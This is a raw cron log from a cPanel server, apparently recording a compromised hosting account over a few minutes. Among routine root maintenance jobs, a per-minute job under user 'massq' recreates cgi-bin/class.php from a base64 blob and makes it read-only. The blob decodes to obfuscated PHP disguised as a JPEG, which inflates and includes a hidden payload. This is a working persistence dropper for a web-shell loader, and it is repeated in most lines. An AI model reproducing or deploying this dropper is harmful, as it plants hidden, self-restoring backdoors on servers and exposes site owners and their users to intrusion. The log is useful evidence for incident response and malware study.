Sep 10 20:45:01 server CROND[27714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:45:01 server CROND[27717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:45:01 server CROND[27715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:46:01 server CROND[28543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:46:01 server CROND[28545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:46:01 server CROND[28544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:47:01 server CROND[29216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:47:01 server CROND[29217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:47:01 server CROND[29218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:48:01 server CROND[29623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:48:01 server CROND[29624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:48:01 server CROND[29625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:49:01 server CROND[30008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:49:01 server CROND[30009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:49:01 server CROND[30010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:50:01 server CROND[30408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:50:01 server CROND[30410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:50:01 server CROND[30417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:50:01 server CROND[30415]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:50:01 server CROND[30421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:50:01 server CROND[30424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:50:01 server CROND[30426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:50:01 server CROND[30422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:50:01 server CROND[30423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:51:01 server CROND[31259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:51:01 server CROND[31260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:51:01 server CROND[31261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:52:01 server CROND[31763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:52:01 server CROND[31764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:52:01 server CROND[31765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:53:01 server CROND[32141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:53:01 server CROND[32142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:53:01 server CROND[32143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:54:01 server CROND[32521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:54:01 server CROND[32522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:54:01 server CROND[32524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:55:01 server CROND[452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:55:01 server CROND[453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:55:01 server CROND[454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:55:01 server CROND[459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:55:01 server CROND[460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:55:01 server CROND[462]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:55:01 server CROND[461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:56:01 server CROND[1401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:56:01 server CROND[1400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:56:01 server CROND[1402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:57:01 server CROND[1883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:57:01 server CROND[1884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:57:01 server CROND[1890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:57:01 server CROND[1885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:58:01 server CROND[2313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
